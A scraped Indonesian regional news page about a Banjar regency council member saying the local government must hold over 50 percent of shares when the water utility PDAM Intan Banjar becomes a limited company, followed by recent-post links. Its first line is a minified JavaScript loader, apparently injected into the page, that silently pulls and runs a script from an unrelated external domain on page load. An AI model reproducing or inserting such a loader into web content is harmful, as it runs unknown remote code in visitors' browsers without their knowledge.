(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PDAM Intan Banjar Jadi PT, DPRD Banjar: Saham Pemda Harus di Atas 50 Persen


MARTAPURA, Ketua Komisi II DPRD Kabupaten Banjar Kamaruzzaman menekankan saham pemerintah daerah Kabupaten Banjar harus di atas 50 persen. Apabila ada perubahan status yang sebelumnya Perusahaan Daerah Air Minum (PDAM) Intan Banjar menjadi Perseroan Terbatas (PT).

“Mau tidak mau apabila mengacu pada PP nomor 54 tahun 2017 tentang Badan Usaha Milik Daerah (BUMD), tahun 2019 ini PDAM Intan Banjar harus berubah status menjadi Perseroan Terbatas (PT),  namun saham kita harus ada di atas 50 persen,” katanya.

Walaupun dirinya tidak menjelaskan secara pasti berapa total saham yang ada di PDAM intan Banjar saat ini, Kharuzzaman menyebutkan, seiring perubahan status tersebut harusnya PDAM intan Banjar dapat lebih meningkatkan lagi cakupan layanan air bersih hingga ke daerah terpencil di Kabupaten Banjar. Sehingga otomatis ada peningkatan kontribusi untuk daerah.

“Laba bersih dari PDAM itu harus disetoran ke pemerintah daerah, namun harus dikembalikan PDAM itu sendiri sebagai penyertaan modal,” katanya.

Lebih jauh Anggota DPRD Banjar yang kembali terpilih ini mengatakan, dalam aturan baru PP yang merupakan turunan dari UU nomor 24 tentang pemerintah daerah yang mengatur khusus tentang BUMD.

“Saat ini, bentuk dari BUMD ada dua, yaitu perusahaan umum daerah atau perseroan daerah. Perusahaaan umum daerah merupakan BUMD yang modalnya dimiliki stau daerah dan tidak terbagi atas saham,” ujarnya.

Sementara untuk perseroan daerah, berbentuk perseroan terbatas yang modalnya terbagi dalam saham yang seluruhnya atau paling sedikit 51 persen dimiliki oleh satu daerah. Perseroan daerah ini bisa dimiliki oleh lebih dari satu daerah.

Dasar dari pendirian BUMD ini dalam bunyi pasal 9 adalah kebutuhan daerah dan juga kelayakan bidang usaha BUMD yang akan dibentuk. Kebutuhan daerah yang dimaksud adalah dalam hal pelayanan umum dan juga kebutuhan masyarakat. (rendy) 

Reporter:Rendy
Editor:Bie

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

14 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

17 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

17 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

19 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

21 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

22 jam ago

This website uses cookies.